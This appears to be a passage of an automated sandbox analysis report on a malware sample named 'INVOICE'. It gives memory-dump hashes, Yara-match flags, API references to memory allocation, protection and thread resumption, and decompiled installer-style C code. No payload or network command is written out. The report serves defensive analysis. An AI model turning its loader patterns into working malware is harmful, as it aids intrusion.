
Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1953461807
Opcode ID: 91e5555b9508150fcf6e55f7c9d4dc2ae8152fc7335161658e002f7252bbf59f
Instruction ID: 8b2ee76931e9ba666d6dc67a471f1b560bbb00ea1adf29c264b32972d7114dcf
Opcode Fuzzy Hash: 91e5555b9508150fcf6e55f7c9d4dc2ae8152fc7335161658e002f7252bbf59f
Instruction Fuzzy Hash: 3D41A130900A14BADB216B65CC8DABF7678DF81714F14817FF841B21D1D77C4A819EAE

Uniqueness

Uniqueness Score: -1.00%

Function 02B663E8 Relevance: 7.9, APIs: 2, Strings: 2, Instructions: 929
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B654CF: LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

NtAllocateVirtualMemory.NTDLL ref: 02B666EE

Strings

J!cG, xrefs: 02B66459
PHWu, xrefs: 02B66C14

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID: J!cG$PHWu
API String ID: 2616484454-1681557357
Opcode ID: a3a3d411d9322c7c8cd74ae4cb6878ff1a47e44af77bec82468fad04d04fd9cb
Instruction ID: 820ed3fb121973a055b8dafa604eafd05ce7e80b0b8f96ca4e6cc46ea8057a9e
Opcode Fuzzy Hash: a3a3d411d9322c7c8cd74ae4cb6878ff1a47e44af77bec82468fad04d04fd9cb
Instruction Fuzzy Hash: 5E62AA7660435ACBDB309E64C9D63FE7BE9EF22660F1511AACC958F091E3788987C704

Uniqueness

Uniqueness Score: -1.00%

Function 02B57647 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 412COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: fd478a265ff1c4c119c86fee7889573f04b3117bec325f4e65539676aa524540
Instruction ID: 059531dbf36229d5132803db13acce147fba31da2ec25fabc6e218e3b8c78dd1
Opcode Fuzzy Hash: fd478a265ff1c4c119c86fee7889573f04b3117bec325f4e65539676aa524540
Instruction Fuzzy Hash: 39E1347170435A8FDF349E788DA83EA77A2EF56360F95426ACC8ACF245D7308586CA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B58777 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 216libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Strings

"JI, xrefs: 02B58AA6

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: "JI
API String ID: 1029625771-2076882970
Opcode ID: 888679fc5111edebfd98c314f92d56309ea8ac2cc799c8d7e878160b175968fb
Instruction ID: 544e5966d64fb0eabbfac7bb5483f20a11d998abc207943e25878b4b7b186236
Opcode Fuzzy Hash: 888679fc5111edebfd98c314f92d56309ea8ac2cc799c8d7e878160b175968fb
Instruction Fuzzy Hash: B5717A7270034ACFDF30AE288D987EA37B3AF95790F854219DC899B244D3354982CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00406873 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406873(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x4302b8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4302b8;
			}

0x0040687e
0x00406887
0x00000000
0x00406894
0x0040688a
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,004302B8,0042FA70,00405F5D,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4%w,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,77253420,C:\Users\user\AppData\Local\Temp\), ref: 0040687E
FindClose.KERNEL32(00000000), ref: 0040688A

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction ID: 67599a3b69382adcf67454a25bfea179debcebd0a6e2e92eb77ede12202c023a
Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction Fuzzy Hash: C3D012325192205FC3402B386E0C84B7A989F16331726CB76B4AAF51E0D7388C7387BD

Uniqueness

Uniqueness Score: -1.00%

Function 02B58737 Relevance: 2.5, APIs: 1, Instructions: 1045COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 781ff63c456c8883cf2b68681d443977585350328abeded65fb7c39b85057f17
Instruction ID: d213c4b692a4bb141612fca9c9a2b0fb8a6a088bc92d9c30b3e7d75abdac2ddc
Opcode Fuzzy Hash: 781ff63c456c8883cf2b68681d443977585350328abeded65fb7c39b85057f17
Instruction Fuzzy Hash: 2F62E67628876AC29730ED64D2C73BD7BE4E7739A0F2531A6C8A64F096F7948547C308

Uniqueness

Uniqueness Score: -1.00%

Function 02B67564 Relevance: 2.3, APIs: 1, Instructions: 837COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: 06055c1c70229597ea79c390154b5af590427e1f37630fa90d781a592d0ca70c
Instruction ID: 8149e8b2cc2ab4d6146273de67cacef24c210a2cd1953e48ca2dcb93ebca9e2c
Opcode Fuzzy Hash: 06055c1c70229597ea79c390154b5af590427e1f37630fa90d781a592d0ca70c
Instruction Fuzzy Hash: E76250716043858FDF319E3889AC7EA7BD29F52360F89829ECCC58F296D7398546C712

Uniqueness

Uniqueness Score: -1.00%

Function 02B5D2E9 Relevance: 1.7, APIs: 1, Instructions: 208libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 81d21217fe73bb33f8755762afef729b8c23a81485c6775bf0f3da5a20ec489f
Instruction ID: fa072ad31589307388ba5d40b67cdc109fdd5ce97224767bcb88e0c724d08d21
Opcode Fuzzy Hash: 81d21217fe73bb33f8755762afef729b8c23a81485c6775bf0f3da5a20ec489f
Instruction Fuzzy Hash: A3613B7170075BCFDB305E288DA47EB33E2AF96790F854269DC86DB284E734898AC701

Uniqueness

Uniqueness Score: -1.00%

Function 02B68D4B Relevance: 1.6, APIs: 1, Instructions: 73nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL ref: 02B69124

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4955462767ed4572aad909bc346e4bf2caa71d8a486f099cdfcb29484a05523f
Instruction ID: e6d73fcd4a90a06c098be7418fc7c689ecdea399ec20a39679698f7f7054c0be
Opcode Fuzzy Hash: 4955462767ed4572aad909bc346e4bf2caa71d8a486f099cdfcb29484a05523f
Instruction Fuzzy Hash: F2110331648A05DFCB259EA4899C3FA3763AF95350F2048B9CD87DF208D73C884ECA60

Uniqueness

Uniqueness Score: -1.00%

Function 02B6868C Relevance: 1.5, APIs: 1, Instructions: 47nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(-7DD5057D,?,?,?,?,02B67711,18D0F6AB,02B53BE2), ref: 02B68772

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 20232972d9f5539e6aba13057466e79cec7f95bc76bf0bb2244c7037da3e837e
Instruction ID: 89320f8358616bfa85b210aafb8503efed8c0174ad91872ff626606db95d457f
Opcode Fuzzy Hash: 20232972d9f5539e6aba13057466e79cec7f95bc76bf0bb2244c7037da3e837e
Instruction Fuzzy Hash: F501C074A142868BEF38CE18CCA47EE76BAAFE4350F48812E9C0997348C7705E05C754

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E0040290B(short __ebx, short* __edi) {
				void* _t8;
				void* _t21;

				_t8 = FindFirstFileW(E00402DA6(2), _t21 - 0x2dc); // executed
				if(_t8 != 0xffffffff) {
					E00406484( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E0040653D();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x0040291a
0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: db3e0d9fc2be9d26385cb54e60570df6e1e2b9abacb98404d6fb5f3e13457c69
Instruction ID: 3f6fbcf0fd4d311cdd608d5f72697756ed96b8559223cd5d9f1c4d92bc61f1b3
Opcode Fuzzy Hash: db3e0d9fc2be9d26385cb54e60570df6e1e2b9abacb98404d6fb5f3e13457c69
Instruction Fuzzy Hash: 3CF08271A04105EFD701DBA4ED49AAEB378FF14314F60417BE116F21D0E7B88E159B29

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9A Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403F9A(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;
				void* _t146;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x42d250 = _t34;
					if(_t130 == 0x110) {
						 *0x434f08 = _t127;
						 *0x42d264 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x42b230 = _t91;
						E00404499(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x433ee8);
						 *0x433ecc = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x42d250 = 1;
					}
					_t124 =  *0x40a368; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x434f20;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E004044E5(0x40b);
						while(1) {
							_t36 =  *0x42d250;
							 *0x40a368 =  *0x40a368 + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a368; // 0x0
							__eflags = _t38 -  *0x434f24;
							if(_t38 ==  *0x434f24) {
								E0040140B(1);
							}
							__eflags =  *0x433ecc - _t136; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x40a368 -  *0x434f24; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E0040657A(_t117, _t127, _t133, 0x445000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E00404499(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E00404499(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E00404499(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x434f8c - _t136;
							_v28 = _t48;
							if( *0x434f8c != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008); // executed
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
							E004044BB(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x42b230, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x434f8c - _t136;
							if( *0x434f8c == _t136) {
								_push( *0x42d264);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x42b230);
							}
							E004044CE();
							E0040653D(0x42d268, E00403F7B());
							E0040657A(0x42d268, _t127, _t133,  &(0x42d268[lstrlenW(0x42d268)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x42d268); // executed
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x433ed8); // executed
									 *0x42c240 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x434f00,  *_t133 +  *0x433ee0 & 0x0000ffff, _t127,  *( *(_t133 + 4) * 4 + "XF@"), _t133); // executed
									__eflags = _t73 - _t136;
									 *0x433ed8 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E00404499(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x433ed8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x433ecc - _t136; // 0x0
									if(__eflags != 0) {
										goto L63;
									}
									ShowWindow( *0x433ed8, 8); // executed
									E004044E5(0x405);
									goto L60;
								}
								__eflags =  *0x434f8c - _t136;
								if( *0x434f8c != _t136) {
									goto L63;
								}
								__eflags =  *0x434f80 - _t136;
								if( *0x434f80 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x433ed8);
						 *0x434f08 = _t136;
						EndDialog(_t127,  *0x42ba38);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x433ed8, 0x40f, 0, 1);
						__eflags =  *0x433ecc - _t136; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x42d248, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									L28:
									return E00404500(_a8, _t122, _a16);
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x433ed8, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x434f8c - _t136;
											if( *0x434f8c == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x42ba38 = 1;
												L23:
												_push(0x78);
												L24:
												E00404472();
												goto L28;
											}
											E0040140B(_t129);
											 *0x42ba38 = _t129;
											goto L23;
										}
										__eflags =  *0x40a368 - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x433ed8);
						 *0x433ed8 = _t122;
						L60:
						if( *0x42f268 == _t136) {
							_t146 =  *0x433ed8 - _t136; // 0x303f6
							if(_t146 != 0) {
								ShowWindow(_t127, 0xa); // executed
								 *0x42f268 = 1;
							}
						}
						goto L63;
					}
					asm("sbb eax, eax");
					ShowWindow( *0x42d248,  ~(_t122 - 1) & 0x00000005);
					if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
						goto L28;
					} else {
						ShowWindow(_t127, 4);
						goto L8;
					}
				}
			}

0x00403fa5
0x00403fac
0x00404113
0x00404117
0x0040411b
0x0040411d
0x00404122
0x0040412d
0x00404138
0x0040413d
0x0040413f
0x00404141
0x00404144
0x00404149
0x00404157
0x00404164
0x0040416b
0x0040416b
0x0040416c
0x0040416c
0x00404171
0x00404177
0x0040417e
0x00404184
0x00404186
0x004041c6
0x004041cb
0x004041d0
0x004041d0
0x004041d5
0x004041de
0x004041e0
0x004041e5
0x004041eb
0x004041ef
0x004041ef
0x004041f4
0x004041fa
0x00000000
0x00000000
0x00404205
0x0040420b
0x00000000
0x00000000
0x00404214
0x0040421c
0x00404221
0x00404224
0x0040422a
0x0040422f
0x00404232
0x00404238
0x0040423d
0x00404240
0x00404246
0x0040424e
0x00404254
0x0040425a
0x0040425e
0x00404265
0x00404265
0x00404265
0x0040426f
0x00404281
0x0040428d
0x00404292
0x0040429c
0x004042a2
0x004042a4
0x004042a9
0x004042a6
0x004042a6
0x004042a6
0x004042b9
0x004042d1
0x004042d3
0x004042d9
0x004042ee
0x004042db
0x004042e4
0x004042e6
0x004042e6
0x004042f4
0x00404305
0x0040431b
0x00404322
0x00404328
0x0040432c
0x00404331
0x00404333
0x00000000
0x00404339
0x00404339
0x0040433b
0x00000000
0x00000000
0x00404341
0x00404345
0x0040436a
0x00404370
0x00404376
0x00404378
0x00000000
0x00000000
0x0040439e
0x004043a4
0x004043a6
0x004043ab
0x00000000
0x00000000
0x004043b1
0x004043b4
0x004043b7
0x004043ce
0x004043da
0x004043f3
0x004043f9
0x004043fd
0x00404402
0x00404408
0x00000000
0x00000000
0x00404412
0x0040441d
0x00000000
0x0040441d
0x00404347
0x0040434d
0x00000000
0x00000000
0x00404353
0x00404359
0x00000000
0x00000000
0x00000000
0x0040435f
0x00404333
0x0040442a
0x00404436
0x0040443d
0x00000000
0x00404188
0x00404188
0x0040418b
0x004041be
0x004041be
0x004041c0
0x00000000
0x00000000
0x00000000
0x004041c0
0x0040418d
0x00404191
0x00404196
0x00404198
0x00000000
0x00000000
0x004041a8
0x004041b0
0x00000000
0x004041b6
0x00403fbe
0x00403fbe
0x00403fc2
0x00403fc7
0x00403fd6
0x00403fd6
0x00403fdc
0x00403fe3
0x00404027
0x0040402d
0x00404046
0x00404049
0x0040405c
0x00404062
0x00404100
0x00000000
0x00404109
0x00404068
0x00404073
0x00404075
0x00404077
0x00404096
0x00404096
0x00404099
0x0040409e
0x004040a1
0x004040b1
0x004040b2
0x004040b4
0x004040ea
0x004040fa
0x00000000
0x004040fa
0x004040b6
0x004040bc
0x004040d5
0x004040da
0x004040dc
0x00000000
0x00000000
0x004040de
0x004040ca
0x004040ca
0x004040cc
0x004040cc
0x00000000
0x004040cc
0x004040bf
0x004040c4
0x00000000
0x004040c4
0x004040a3
0x004040a9
0x00000000
0x00000000
0x004040ab
0x00000000
0x004040ab
0x0040409b
0x00000000
0x0040409b
0x00404081
0x00404088
0x0040408e
0x00404090
0x00404466
0x00000000
0x00404466
0x00000000
0x00404090
0x0040404e
0x00000000
0x00404056
0x00404035
0x0040403b
0x00404443
0x00404449
0x0040444b
0x00404451
0x00404456
0x0040445c
0x0040445c
0x00404451
0x00000000
0x00404449
0x00403fea
0x00403ff6
0x00403fff
0x00000000
0x0040401e
0x00404021
0x00000000
0x00404021
0x00403fff

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FD6
ShowWindow.USER32(?), ref: 00403FF6
GetWindowLongW.USER32(?,000000F0), ref: 00404008
ShowWindow.USER32(?,00000004), ref: 00404021
DestroyWindow.USER32 ref: 00404035
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040404E
GetDlgItem.USER32(?,?), ref: 0040406D
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404081
IsWindowEnabled.USER32(00000000), ref: 00404088
GetDlgItem.USER32(?,00000001), ref: 00404133
GetDlgItem.USER32(?,00000002), ref: 0040413D
SetClassLongW.USER32(?,000000F2,?), ref: 00404157
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A8
GetDlgItem.USER32(?,00000003), ref: 0040424E
ShowWindow.USER32(00000000,?), ref: 0040426F
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404281
EnableWindow.USER32(?,?), ref: 0040429C
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042B2
EnableMenuItem.USER32(00000000), ref: 004042B9
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042D1
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042E4
lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 0040430E
SetWindowTextW.USER32(?,0042D268), ref: 00404322
ShowWindow.USER32(?,0000000A), ref: 00404456

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: 655396db076bddd1a804ad939a9de1a35d1e50ec2b89a3d41d0d0026322ce3ca
Instruction ID: 19e8ffe36521fda3862950d2389d84f1ef0c133ac5ff71005f69e3a94542e2f3
Opcode Fuzzy Hash: 655396db076bddd1a804ad939a9de1a35d1e50ec2b89a3d41d0d0026322ce3ca
Instruction Fuzzy Hash: DDC1A1B1A00704ABDB206F61EE49E2B3A68FB84746F15053EF741B61F1CB799841DB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEC Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403BEC(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				intOrPtr _t41;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x434f10;
				_t22 = E0040690A(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x42d268;
					L"1033" = 0x30;
